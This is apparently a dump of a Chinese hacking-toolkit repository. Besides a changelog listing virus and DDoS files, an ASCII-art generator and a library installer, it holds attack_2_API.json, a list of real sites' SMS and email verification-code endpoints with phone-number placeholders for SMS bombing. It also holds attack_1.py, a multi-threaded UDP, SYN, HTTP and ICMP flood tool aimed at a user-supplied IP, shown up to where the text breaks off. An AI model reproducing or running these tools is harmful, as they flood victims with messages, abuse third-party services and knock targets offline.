146 | - 修改过或新增的文件:
147 | - ANSportion.py - 修改
148 | - virus-3.0.py - 新增
149 | - virus-3.1.py - 新增
150 | - attack-1.py - 修改
151 | - port-1.py - 修改
152 |
153 | 1.0.7:
154 | - 内容:
155 | - 增加了 server-2.py 文件
156 | - 增加了 download.html 文件
157 | - 增加了 check-5.py 文件
158 | - 在 wifi-5.py 的文件中修改功能: 查询当前WiFi服务的设备的逻辑
159 | - 修改过或新增的文件:
160 | - server-2.py
161 | - download.html
162 | - ANSportion.py
163 | - check-5.py
164 | - wifi-5.py
165 |
166 | 1.0.6:
167 | - 内容:
168 | - 在 crawler-1.py 的文件中修改功能: 文字差错
169 | - 在 wifi-4.py 的文件中修改功能: 逻辑差错
170 | - 在 wifi-5.py 的文件中修改功能: 查看当前路由器的IP 改为 查看当前网络的所有连接过的IP和当前连接的IP
171 | - 在 1.html 的文件中修改功能: 文字差错
172 | - 新增文件 Virus-2.py
173 | - 新增文件 check-4.py
174 | - 修改过或新增的文件:
175 | - crawler-2.py
176 | - wifi-4.py
177 | - wifi-5.py
178 | - 1.html
179 | - Virus-2.py
180 | - check-4.py
181 |
182 | 1.0.5:
183 | - 内容:
184 | - 1.增加了日志功能
185 | - 2.修改了文字差错
186 | - 3.增加了文字样式
187 | - 4.修改了原本的DDOS攻击逻辑
188 | - 5.在Code/check-1.py的文件中新增功能:查看自己的网关IP
189 | - 6.增加了 server 模块
190 | - 7.增加了Install-library的库
191 | - 修改过或新增的文件:
192 | - ANSportion.py
193 | - server-1.py
194 | - attack-1.py
195 | - HTML Code(1.html)
196 | - Install-library.py
197 |
--------------------------------------------------------------------------------
/developer/wordart2.0.py:
--------------------------------------------------------------------------------
1 | import pyfiglet
2 | import os
3 | import time
4 | import sys
5 |
6 | class ASCIIArtGenerator:
7 | def __init__(self):
8 | """初始化生成器"""
9 | self.available_fonts = pyfiglet.FigletFont.getFonts()
10 | self.sample_text = "ASCII"
11 |
12 | def clear_screen(self):
13 | """清屏函数"""
14 | os.system('cls' if os.name == 'nt' else 'clear')
15 |
16 | def show_banner(self):
17 | """显示程序横幅"""
18 | banner = pyfiglet.figlet_format("ASCII ART", font="doom")
19 | print("=" * 60)
20 | print(banner)
21 | print(" " * 15 + "多功能艺术字生成器 v2.0")
22 | print("=" * 60)
23 |
24 | def show_available_fonts(self, num_samples=4):
25 | """
26 | 显示可用字体示例
27 |
28 | 参数:
29 | num_samples (int): 要显示的示例字体数量
30 | """
31 | print("\n可用字体示例:")
32 | print("-" * 60)
33 |
34 | # 显示一些常用字体
35 | sample_fonts = [
36 | 'standard', 'slant', 'block', 'bubble',
37 | 'digital', 'doom', 'script', 'starwars'
38 | ][:num_samples]
39 |
40 | for font in sample_fonts:
41 | print(f"\n字体: {font}")
42 | print(pyfiglet.figlet_format(self.sample_text, font=font))
43 |
44 | print(f"\n共支持 {len(self.available_fonts)} 种字体")
45 | print("输入 'list' 查看完整字体列表")
46 |
47 | def list_all_fonts(self):
48 | """列出所有可用字体并展示"""
49 | print("\n完整字体列表:")
50 | print("-" * 60)
51 | for i, font in enumerate(self.available_fonts, 1):
52 | print(f"{i}. {font}")
53 | print(pyfiglet.figlet_format(self.sample_text, font=font))
54 | print("\n\n使用字体时请输入准确的字体名称")
55 |
56 | def generate_art(self, text, font="standard"):
57 | """
58 | 生成ASCII艺术字
59 |
60 | 参数:
61 | text (str): 要转换的文本
62 | font (str): 字体名称
63 |
64 | 返回:
65 | str: 生成的艺术字字符串
66 | """
67 | try:
68 | # 验证字体是否存在
69 | if font not in self.available_fonts:
70 | print(f"警告: 字体 '{font}' 不存在,使用默认字体")
71 | font = 'standard'
72 |
73 | # 生成ASCII艺术字
74 | ascii_art = pyfiglet.figlet_format(text, font=font)
75 |
76 | return ascii_art
77 |
78 | except Exception as e:
79 | print(f"生成错误: {e}")
80 | return None
81 |
82 | def save_to_file(self, artwork, filename="ascii_art.txt"):
83 | """
84 | 保存艺术字到文件
85 |
86 | 参数:
87 | artwork (str): 生成的艺术字
88 | filename (str): 要保存的文件名
89 | """
90 | try:
91 | with open(filename, "w", encoding="utf-8") as f:
92 | f.write(artwork)
93 | print(f"\n已成功保存到 {filename}")
94 | return True
95 | except Exception as e:
96 | print(f"\n保存失败: {e}")
97 | return False
98 |
99 | def art_generator(self):
100 | """艺术字生成器主函数"""
101 | self.clear_screen()
102 | self.show_banner()
103 |
104 | # 获取用户输入
105 | print("\n" + "=" * 30 + " 参数设置 " + "=" * 30)
106 | text = input("\n请输入要转换的文本: ").strip()
107 | if not text:
108 | print("文本不能为空!")
109 | time.sleep(1)
110 | return
111 |
112 | # 字体选择
113 | print("\n当前可用字体示例:")
114 | self.show_available_fonts()
115 | font = input("\n输入字体名称(留空使用默认,输入list查看全部): ").strip()
116 |
117 | if font.lower() == "list":
118 | self.list_all_fonts()
119 | font = input("\n请输入要使用的字体名称: ").strip()
120 |
121 | font = font or "standard"
122 |
123 | # 生成艺术字
124 | artwork = self.generate_art(text, font)
125 | if not artwork:
126 | print("生成失败,请重试")
127 | time.sleep(1)
128 | return
129 |
130 | # 显示结果
131 | self.clear_screen()
132 | print("\n" + "=" * 30 + " 生成结果 " + "=" * 30)
133 | print(artwork)
134 | print("=" * 72)
135 |
136 | # 保存选项
137 | save = input("\n是否保存到文件? (y/n): ").lower()
138 | if save == 'y':
139 | filename = input("输入文件名(留空使用ascii_art.txt): ").strip() or "ascii_art.txt"
140 | self.save_to_file(artwork, filename)
141 |
142 | input("\n按Enter键继续...")
143 |
144 | def main_menu(self):
145 | """主菜单界面"""
146 | while True:
147 | self.clear_screen()
148 | self.show_banner()
149 |
150 | print("\n主菜单:")
151 | print("1. 生成艺术字")
152 | print("2. 查看字体示例")
153 | print("3. 查看完整字体列表")
154 | print("4. 退出程序")
155 |
156 | choice = input("\n请选择 (1-4): ").strip()
157 |
158 | if choice == "1":
159 | self.art_generator()
160 | elif choice == "2":
161 | self.clear_screen()
162 | self.show_available_fonts(num_samples=8)
163 | input("\n按Enter键返回主菜单...")
164 | elif choice == "3":
165 | self.clear_screen()
166 | self.list_all_fonts()
167 | input("\n按Enter键返回主菜单...")
168 | elif choice == "4":
169 | print("\n感谢使用,再见!")
170 | time.sleep(1)
171 | break
172 |
173 | def main():
174 | """程序入口"""
175 | try:
176 | generator = ASCIIArtGenerator()
177 | generator.main_menu()
178 | except KeyboardInterrupt:
179 | print("\n程序被用户中断")
180 | except Exception as e:
181 | print(f"\n程序出错: {e}")
182 | finally:
183 | print("程序结束")
184 | sys.exit(0)
185 |
186 | if __name__ == "__main__":
187 | main()
188 |
--------------------------------------------------------------------------------
/developer/Install_library.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | def install_library_main():
4 | choose = input("1.选择性安装第三方库\n2.一键安装第三方库库\n3.查看所有库是否装好\n:")
5 | if choose == "1":
6 | print("开始安装依赖第三方库")
7 | try:
8 | pywifi = input("是否下载 pywifi 库? (y/n):")
9 | if pywifi in ["y","Y"]:
10 | os.system("pip install pywifi")
11 | else:
12 | print("已取消下载")
13 | requests = input("是否下载 requests 库? (y/n):")
14 | if requests in ["y","Y"]:
15 | os.system("pip install requests")
16 | else:
17 | print("已取消下载")
18 | validators = input("是否下载 validators 库? (y/n):")
19 | if validators in ["y","Y"]:
20 | os.system("pip install validators")
21 | else:
22 | print("已取消下载")
23 | urllib3 = input("是否下载 urllib3 库? (y/n):")
24 | if urllib3 in ["y","Y"]:
25 | os.system("pip install urllib3")
26 | else:
27 | print("已取消下载")
28 | tqdm = input("是否下载 tqdm 库? (y/n):")
29 | if tqdm in ["y","Y"]:
30 | os.system("pip install tqdm")
31 | else:
32 | print("已取消下载")
33 | psutil = input("是否下载 psutil 库? (y/n):")
34 | if psutil in ["y","Y"]:
35 | os.system("pip install psutil")
36 | else:
37 | print("已取消下载")
38 | ipaddress = input("是否下载 ipaddress 库? (y/n):")
39 | if ipaddress in ["y","Y"]:
40 | os.system("pip install ipaddress")
41 | else:
42 | print("已取消下载")
43 | colorama = input("是否下载 colorama 库? (y/n):")
44 | if colorama in ["y","Y"]:
45 | os.system("pip install colorama")
46 | else:
47 | print("已取消下载")
48 | pyinstaller = input("是否下载 pyinstaller 库? (y/n):")
49 | if pyinstaller in ["y","Y"]:
50 | os.system("pip3 install pyinstaller")
51 | else:
52 | print("已取消下载")
53 | cryptography = input("是否下载 cryptography 库? (y/n):")
54 | if cryptography in ["y","Y"]:
55 | os.system("pip install cryptography")
56 | else:
57 | print("已取消下载")
58 | Pillow = input("是否下载 Pillow 库? (y/n):")
59 | if Pillow in ["y","Y"]:
60 | os.system("pip3 install Pillow")
61 | else:
62 | print("已取消下载")
63 | comtypes = input("是否下载 comtypes 库? (y/n):")
64 | if comtypes in ["y","Y"]:
65 | os.system("pip install comtypes")
66 | else:
67 | print("已取消下载")
68 | pyfiglet = input("是否下载 pyfiglet 库? (y/n):")
69 | if pyfiglet in ["y","Y"]:
70 | os.system("pip install pyfiglet")
71 | else:
72 | print("已取消下载")
73 | except Exception as e:
74 | print(f"安装失败{e}")
75 | print("安装完成")
76 | elif choose == "2":
77 | print("开始一键安装第三方库")
78 | try:
79 | os.system("pip install pywifi requests validators urllib3 tqdm psutil ipaddress colorama pyinstaller cryptography Pillow comtypes pyfiglet")
80 | except Exception as e:
81 | print(f"安装失败{e}")
82 | elif choose == "3":
83 | print("开始检查所有库是否装好")
84 | try:
85 | print("开始检查 pywifi 库")
86 | print(f"{'='*80}")
87 | os.system("pip show pywifi")
88 | print("pywifi 库已装好")
89 | print(f"{'='*80}\n")
90 |
91 | print("开始检查 requests 库")
92 | print(f"{'='*80}")
93 | os.system("pip show requests")
94 | print("requests 库已装好")
95 | print(f"{'='*80}\n")
96 |
97 | print("开始检查 validators 库")
98 | print(f"{'='*80}")
99 | os.system("pip show validators")
100 | print("validators 库已装好")
101 | print(f"{'='*80}\n")
102 |
103 | print("开始检查 urllib3 库")
104 | print(f"{'='*80}")
105 | os.system("pip show urllib3")
106 | print("urllib3 库已装好")
107 | print(f"{'='*80}\n")
108 |
109 | print("开始检查 tqdm 库")
110 | print(f"{'='*80}")
111 | os.system("pip show tqdm")
112 | print("tqdm 库已装好")
113 | print(f"{'='*80}\n")
114 |
115 | print("开始检查 psutil 库")
116 | print(f"{'='*80}")
117 | os.system("pip show psutil")
118 | print("psutil 库已装好")
119 | print(f"{'='*80}\n")
120 |
121 | print("开始检查 ipaddress 库")
122 | print(f"{'='*80}")
123 | os.system("pip show ipaddress")
124 | print("ipaddress 库已装好")
125 | print(f"{'='*80}\n")
126 |
127 | print("开始检查 colorama 库")
128 | print(f"{'='*80}")
129 | os.system("pip show colorama")
130 | print("colorama 库已装好")
131 | print(f"{'='*80}\n")
132 |
133 | print("开始检查 pyinstaller 库")
134 | print(f"{'='*80}")
135 | os.system("pip show pyinstaller")
136 | print("pyinstaller 库已装好")
137 | print(f"{'='*80}\n")
138 |
139 | print("开始检查 cryptography 库")
140 | print(f"{'='*80}")
141 | os.system("pip show cryptography")
142 | print("cryptography 库已装好")
143 | print(f"{'='*80}\n")
144 |
145 | print("开始检查 Pillow 库")
146 | print(f"{'='*80}")
147 | os.system("pip show Pillow")
148 | print("Pillow 库已装好")
149 | print(f"{'='*80}\n")
150 |
151 | print("开始检查 comtypes 库")
152 | print(f"{'='*80}")
153 | os.system("pip show comtypes")
154 | print("comtypes 库已装好")
155 | print(f"{'='*80}\n")
156 |
157 | print("开始检查 pyfiglet 库")
158 | print(f"{'='*80}")
159 | os.system("pip show pyfiglet")
160 | print("pyfiglet 库已装好")
161 | print(f"{'='*80}\n")
162 |
163 | print("检查完成")
164 | except Exception as e:
165 | print(f"检查失败:\n{e}")
166 |
167 | if __name__ == "__main__":
168 | install_library_main()
--------------------------------------------------------------------------------
/attack_2_API.json:
--------------------------------------------------------------------------------
1 | [
2 | {
3 | "url": "https://passport.csdn.net/v1/login/sendVerifyCode",
4 | "headers": {
5 | "Host": "passport.csdn.net",
6 | "Content-Type": "application/json;charset=UTF-8",
7 | "User-Agent": "Mozilla/5.0 (Linux; Android 13; PHW110 Build/RKQ1.211119.001) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.134 Mobile Safari/537.36"
8 | },
9 | "payload": {
10 | "code": "0086",
11 | "platform": "WAP",
12 | "type": "popupLogin",
13 | "spm": "1001.2101.3001.7902",
14 | "mobile": ""
15 | }
16 | },
17 | {
18 | "url": "https://zmingcx.com/wp-content/themes/begin/mail-captcha.php?0.17748457886315183",
19 | "headers": {
20 | "Host": "zmingcx.com",
21 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
22 | "User-Agent": "Mozilla/5.0 (Linux; Android 13; PHW110 Build/RKQ1.211119.001) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.134 Mobile Safari/537.36"
23 | },
24 | "payload": {
25 | "action": "eer_captcha",
26 | "email": "",
27 | "user_name": "kisskdk"
28 | }
29 | },
30 | {
31 | "url": "https://shanghai.chinatax.gov.cn/jkfw/api/v1.0/services/ssqh/sendCrcByPhoneNum?phoneNum={mobile}",
32 | "dynamic": true
33 | },
34 | {
35 | "desc": "用户到家",
36 | "url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
37 | "method": "GET",
38 | "header": "",
39 | "data": ""
40 | },
41 | {
42 | "desc": "小叶子app",
43 | "url": "https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86",
44 | "method": "GET",
45 | "header": "",
46 | "data": ""
47 | },
48 | {
49 | "desc": "人人文库",
50 | "url": "https://www.renrendoc.com/Reg.aspx/GetUserSMSCode",
51 | "method": "POST",
52 | "header": {
53 | "Content-Type": "application/json; charset=UTF-8",
54 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
55 | "X-Requested-With": "XMLHttpRequest"
56 | },
57 | "data": {
58 | "userMobile": "[phone]"
59 | }
60 | },
61 | {
62 | "desc": "巨人网络",
63 | "url": "https://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=https%3A%2F%2Flogin.ztgame.com%2F&cururl=http%3A%2F%2Freg.ztgame.com%2F&phone=[phone]&mpcode=&pwd=&tname=&idcard=",
64 | "method": "GET",
65 | "header": {
66 | "Referer": "https://reg.ztgame.com/",
67 | "X-Requested-With": "XMLHttpRequest"
68 | },
69 | "data": ""
70 | },
71 | {
72 | "desc": "金中网",
73 | "url": "https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3",
74 | "method": "GET",
75 | "header": "",
76 | "data": ""
77 | },
78 | {
79 | "desc": "永城至敏",
80 | "url": "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]",
81 | "method": "GET",
82 | "header": "",
83 | "data": ""
84 | },
85 | {
86 | "desc": "某数图表web(存疑)",
87 | "url": "https://dycharts.com/vis/auth/send_signin_sms_code",
88 | "method": "POST",
89 | "header": "",
90 | "data": {
91 | "phoneNo": "13809213237"
92 | }
93 | },
94 | {
95 | "desc": "加密电话",
96 | "url": "https://m.4009991000.com/valNumQry.action",
97 | "method": "POST",
98 | "header": "",
99 | "data": {
100 | "appType": "1",
101 | "app_id": "5555",
102 | "mobileNo": "[phone]",
103 | "sig": "16cd52ea74f5ea4a6c2fe80b9a04f8b5",
104 | "src": "1",
105 | "v": "4.9.2",
106 | "validType": "3"
107 | }
108 | },
109 | {
110 | "desc": "秘塔写作",
111 | "url": "https://xiezuocat.com/verify?type=signup",
112 | "method": "POST",
113 | "header": "",
114 | "data": {
115 | "phone": "86-[phone]"
116 | }
117 | },
118 | {
119 | "desc": "乐教乐学",
120 | "url": "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]",
121 | "method": "GET",
122 | "header": "",
123 | "data": ""
124 | },
125 | {
126 | "desc": "网心云APP",
127 | "url": "https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms",
128 | "method": "POST",
129 | "header": "",
130 | "data": {
131 | "protocolVersion": "301",
132 | "sequenceNo": "1000001",
133 | "platformVersion": "10",
134 | "isCompressed": "0",
135 | "appid": "22017",
136 | "clientVersion": "3.15.1",
137 | "peerID": "00000000000000000000000000000000",
138 | "appName": "ANDROID-com.onethingcloud.android",
139 | "sdkVersion": "204500",
140 | "devicesign": "div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b",
141 | "netWorkType": "WIFI",
142 | "providerName": "NONE",
143 | "deviceModel": "M2102J2SC",
144 | "deviceName": "Xiaomi M2102j2sc",
145 | "OSVersion": "11",
146 | "creditkey": "",
147 | "hl": "zh-CN",
148 | "mobile": "[phone]",
149 | "register": "0"
150 | }
151 | },
152 | {
153 | "desc": "费耘网",
154 | "url": "https://www.feeclouds.com/homepage/register/send",
155 | "method": "POST",
156 | "header": "",
157 | "data": {
158 | "mobile": "[phone]"
159 | }
160 | },
161 | {
162 | "desc": "广东省心理学会",
163 | "url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
164 | "method": "POST",
165 | "header": "",
166 | "data": {
167 | "phone": "[phone]"
168 | }
169 | },
170 | {
171 | "desc": "火象",
172 | "url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
173 | "method": "POST",
174 | "header": "",
175 | "data": {
176 | "temp": "1",
177 | "phone": "[phone]"
178 | }
179 | },
180 | {
181 | "desc": "麦克赛尔数字映像",
182 | "url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
183 | "method": "POST",
184 | "header": "",
185 | "data": {
186 | "action": "send",
187 | "txtMember_Name": "[phone]"
188 | }
189 | },
190 | {
191 | "desc": "企米子",
192 | "url": "https://www.xcxui.com/index/register/getcode.html",
193 | "method": "POST",
194 | "header": "",
195 | "data": {
196 | "tel": "[phone]"
197 | }
198 | },
199 | {
200 | "desc": "能链开放平台",
201 | "url": "https://openplatformwsgateway.czb365.com/openplatformws/user/send/sendCheckMsgV7/[phone]",
202 | "method": "GET",
203 | "header": "",
204 | "data": ""
205 | },
206 | {
207 | "desc": "蘑菇云游",
208 | "url": "https://www.moguyouxi.cn/Home/SendVerificationCode",
209 | "method": "POST",
210 | "header": {
211 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
212 | "Referer": "https://www.moguyouxi.cn/"
213 | },
214 | "data": {
215 | "phone": "[phone]",
216 | "code": ""
217 | },
218 | "form": ""
219 | },
220 | {
221 | "desc": "奇热漫画",
222 | "url": "https://www.qiremanhua.com/passport/send_msg_code",
223 | "method": "POST",
224 | "header": {
225 | "Content-Type": "application/x-www-form-urlencoded",
226 | "Referer": "https://www.qiremanhua.com/passport/reg/?redirectUri=%2F"
227 | },
228 | "data": {
229 | "phone": "[phone]"
230 | },
231 | "form": ""
232 | },
233 | {
234 | "desc": "好好住",
235 | "url": "https://www.haohaozhu.cn/f/y/api/Login/Identifyingcode",
236 | "method": "POST",
237 | "header": {
238 | "Content-Type": "application/x-www-form-urlencoded",
239 | "Referer": "https://www.haohaozhu.cn/"
240 | },
241 | "data": {
242 | "phone": "[phone]",
243 | "country_code":"86",
244 | "identifying_type":"1"
245 | },
246 | "form": ""
247 | },
248 | {
249 | "desc": "宜搜小说",
250 | "url": "https://book.easou.com/ta/phonevcode.m",
251 | "method": "POST",
252 | "header": {
253 | "Content-Type": "application/x-www-form-urlencoded",
254 | "Referer": "https://book.easou.com/ta/registerByPhone.m?backUrl=%2Fta%2Findex.m"
255 | },
256 | "data": {
257 | "phone": "[phone]"
258 | },
259 | "form": ""
260 | },
261 | {
262 | "desc": "泛付 PanPay",
263 | "url": "https://www.panpay.com/e-bank/verifyPhoneCode.do",
264 | "method": "POST",
265 | "header": {
266 | "Content-Type": "application/x-www-form-urlencoded"
267 | },
268 | "data": {
269 | "phone": "[phone]",
270 | "tplType": "01",
271 | "type": "BIND_PHONE",
272 | "phoneCountry": "86"
273 | },
274 | "form": ""
275 | },
276 | {
277 | "desc": "鳳凰金融",
278 | "url": "https://www.fengwd.com/api/v2/user/loginRegister/captcha/text?version=1.0",
279 | "method": "post",
280 | "data": {
281 | "mobile": "[phone]"
282 | },
283 | "header": {
284 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
285 | "Referer": "https://www.fengwd.com/",
286 | "Content-Type": "application/x-www-form-urlencoded",
287 | "Cookie": "fjr_properties=%7B%22abtest%22%3A%22c%22%7D; _ga=GA1.2.1239566769.1689827740; _gid=GA1.2.1620323177.1689827740; _gat=1; Hm_lvt_cca0837a014621d8d933a0b1b2cb0be5=1689827740; Hm_lpvt_cca0837a014621d8d933a0b1b2cb0be5=1689827740; _ga_RQJV198NYX=GS1.2.1689827743.1.0.1689827743.0.0.0"
288 | },
289 | "form": ""
290 | },
291 | {
292 | "desc": "四川航空",
293 | "url": "https://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&smsType=REGISTER&mobilePhone=[phone]&verkey=MOBILELOGIN",
294 | "method": "get",
295 | "data": "",
296 | "header": {
297 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
298 | "Referer": "https://flights.sichuanair.com/3uair/ibe/profile/createProfile.do"
299 | }
300 | },
301 | {
302 | "desc": "安徽相亲网",
303 | "url": "https://www.ahxiangqin.cn/index.php?c=picker&a=sendmobile",
304 | "method": "post",
305 | "data": {
306 | "type": "reg",
307 | "mobile": "[phone]",
308 | "imgcode": "validcode",
309 | "email": "[phone]",
310 | "qq": "[phone]"
311 | },
312 | "header": {
313 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
314 | "Referer": "https://www.ahxiangqin.cn/index.php?c=passport&a=reg",
315 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
316 | },
317 | "form": ""
318 | },
319 | {
320 | "desc": "印象笔记",
321 | "url": "https://app.yinxiang.com/SendOneTimePassword.action?sig=b4d74d0018ad5084638ae1333f4c2a61&recipient=[phone]&textotp=",
322 | "method": "get",
323 | "data": "",
324 | "header": {
325 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
326 | }
327 | }
328 | ]
--------------------------------------------------------------------------------
/Code/attack_1.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import time
4 | import socket
5 | import random
6 | import threading
7 | from datetime import datetime
8 | import re
9 | import struct
10 | from colorama import init, Fore
11 |
12 | version = "1.0.1"
13 |
14 | title = '''
15 | M""""""'YMM MMP"""""YMM MP""""""`MM MMP"""""""MM M""""""""M M""""""""M MMP"""""""MM MM'""""'YMM M""MMMMM""M
16 | M mmmm. `M M' .mmm. `M M mmmmm..M M' .mmmm MM Mmmm mmmM Mmmm mmmM M' .mmmm MM M' .mmm. `M M MMMM' .M
17 | M MMMMM M M MMMMM M M. `YM M `M MMMM MMMM MMMM MMMM M `M M MMMMMooM M .MM
18 | M MMMMM M M MMMMM M MMMMMMM. M M MMMMM MM MMMM MMMM MMMM MMMM M MMMMM MM M MMMMMMMM M MMMb. YM
19 | M MMMM' .M M. `MMM' .M M. .MMM' M M MMMMM MM MMMM MMMM MMMM MMMM M MMMMM MM M. `MMM' .M M MMMMb M
20 | M .MM MMb dMM Mb. .dM M MMMMM MM MMMM MMMM MMMM MMMM M MMMMM MM MM. .dM M MMMMM M
21 | MMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMMMM MMMMMMMMMM MMMMMMMMMM MMMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMMM
22 | '''
23 |
24 | version = f'''
25 | 当前版本: {version}
26 | 输入 'help' 查看帮助
27 | {"=" * 107}'''
28 |
29 | init()
30 |
31 | def start():
32 | def is_valid_ip(ip):
33 | ipv4_pattern = re.compile(r'^(\d{1,3}\.){3}\d{1,3}$')
34 | if ipv4_pattern.match(ip):
35 | parts = ip.split('.')
36 | for part in parts:
37 | if not 0 <= int(part) <= 255:
38 | return False
39 | return True
40 | ipv6_pattern = re.compile(
41 | r'^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$|'
42 | r'^::([0-9a-fA-F]{1,4}:){0,6}[0-9a-fA-F]{1,4}$|'
43 | r'^([0-9a-fA-F]{1,4}:){1,6}::([0-9a-fA-F]{1,4}:){0,5}[0-9a-fA-F]{1,4}$'
44 | )
45 | return bool(ipv6_pattern.match(ip))
46 |
47 | class Attack:
48 | def __init__(self):
49 | now = datetime.now()
50 | self.hour = now.hour
51 | self.minute = now.minute
52 | self.day = now.day
53 | self.month = now.month
54 | self.year = now.year
55 | try:
56 | while True:
57 | self.ip = input("请输入目标IP: ").strip()
58 | if is_valid_ip(self.ip):
59 | break
60 | print("错误: 无效的IP地址格式,请输入有效的IPv4或IPv6地址")
61 |
62 | ports_input = input("输入攻击端口(多个端口用逗号分隔): ").strip()
63 | if not ports_input:
64 | raise ValueError("至少需要指定一个端口")
65 | self.ports = []
66 | for p in ports_input.split(','):
67 | port = p.strip()
68 | if not port.isdigit() or not (0 < int(port) <= 65535):
69 | raise ValueError(f"无效端口号: {port}")
70 | self.ports.append(int(port))
71 |
72 | print("可选的包类型: udp, syn, http, icmp")
73 | packets_input = input("选择包类型(多个用逗号分隔,默认udp): ").strip().lower()
74 | if not packets_input:
75 | self.packet_types = ['udp']
76 | else:
77 | self.packet_types = [p.strip() for p in packets_input.split(',')]
78 | valid_types = {'udp', 'syn', 'http', 'icmp'}
79 | for p in self.packet_types:
80 | if p not in valid_types:
81 | raise ValueError(f"无效包类型: {p} (仅支持 udp/syn/http/icmp)")
82 |
83 | self.speed = int(input("攻击速度(1~1 000): "))
84 | if not (1 <= self.speed <= 1000):
85 | raise ValueError("攻击速度必须在1~1 000之间")
86 |
87 | self.threads = int(input("线程数量(建议1 ~ 100 0000): "))
88 | if not (1 <= self.threads <= 1000000):
89 | raise ValueError("线程数量必须在1 ~ 1 000 000之间")
90 |
91 | self.counter = 0
92 | self.lock = threading.Lock()
93 | self.running = True
94 | self.sockets = []
95 | self.family = socket.AF_INET6 if ':' in self.ip else socket.AF_INET
96 | except ValueError as e:
97 | print(f"\n输入错误: {e}")
98 | raise
99 | except Exception as e:
100 | print(f"\n初始化错误: {e}")
101 | raise
102 |
103 | def create_icmp_packet(self):
104 | icmp_type = 8
105 | icmp_code = 0
106 | checksum = 0
107 | identifier = random.randint(0, 65535)
108 | sequence = random.randint(0, 65535)
109 | payload = random._urandom(32)
110 |
111 | header = struct.pack('!BBHHH', icmp_type, icmp_code, checksum, identifier, sequence)
112 | packet = header + payload
113 |
114 | checksum = 0
115 | for i in range(0, len(packet), 2):
116 | if i + 1 < len(packet):
117 | word = (packet[i] << 8) + packet[i + 1]
118 | checksum += word
119 |
120 | checksum = (checksum >> 16) + (checksum & 0xffff)
121 | checksum = ~checksum & 0xffff
122 |
123 | packet = struct.pack('!BBHHH', icmp_type, icmp_code, checksum, identifier, sequence) + payload
124 | return packet
125 |
126 | def create_syn_packet(self):
127 | src_port = random.randint(1024, 65535)
128 | dst_port = random.choice(self.ports)
129 | seq_num = random.randint(0, 4294967295)
130 | ack_num = 0
131 | data_offset = 5 << 4
132 | flags = 0x02
133 | window = socket.htons(5840)
134 | checksum = 0
135 | urg_ptr = 0
136 |
137 | if self.family == socket.AF_INET:
138 | src_addr = socket.inet_pton(socket.AF_INET, '0.0.0.0')
139 | dst_addr = socket.inet_pton(socket.AF_INET, self.ip)
140 | protocol = socket.IPPROTO_TCP
141 | tcp_length = 20
142 |
143 | pseudo_header = struct.pack('!4s4sBBH',
144 | src_addr,
145 | dst_addr,
146 | 0,
147 | protocol,
148 | tcp_length)
149 |
150 | tcp_header = struct.pack('!HHLLBBHHH',
151 | src_port,
152 | dst_port,
153 | seq_num,
154 | ack_num,
155 | data_offset,
156 | flags,
157 | window,
158 | checksum,
159 | urg_ptr)
160 | return tcp_header
161 |
162 | def create_http_packet(self):
163 | methods = ['GET', 'POST', 'HEAD', 'PUT', 'DELETE']
164 | path = '/' + ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(random.randint(3, 10)))
165 | host = self.ip
166 | user_agents = [
167 | 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
168 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)',
169 | 'Mozilla/5.0 (Linux; Android 10; SM-G975F)'
170 | ]
171 |
172 | http_request = (
173 | f"{random.choice(methods)} {path} HTTP/1.1\r\n"
174 | f"Host: {host}\r\n"
175 | f"User-Agent: {random.choice(user_agents)}\r\n"
176 | f"Accept: */*\r\n"
177 | f"Connection: keep-alive\r\n\r\n"
178 | )
179 | return http_request.encode()
180 |
181 | def create_udp_packet(self):
182 | return random._urandom(1490)
183 |
184 | def attack_port(self, port):
185 | try:
186 | sock = socket.socket(self.family, socket.SOCK_DGRAM if 'udp' in self.packet_types else socket.SOCK_RAW)
187 | self.sockets.append(sock)
188 |
189 | while self.running:
190 | try:
191 | for ptype in self.packet_types:
192 | if ptype == 'udp':
193 | packet = self.create_udp_packet()
194 | sock.sendto(packet, (self.ip, port))
195 | elif ptype == 'icmp':
196 | if self.family == socket.AF_INET:
197 | packet = self.create_icmp_packet()
198 | sock.sendto(packet, (self.ip, 0))
199 | elif ptype == 'syn':
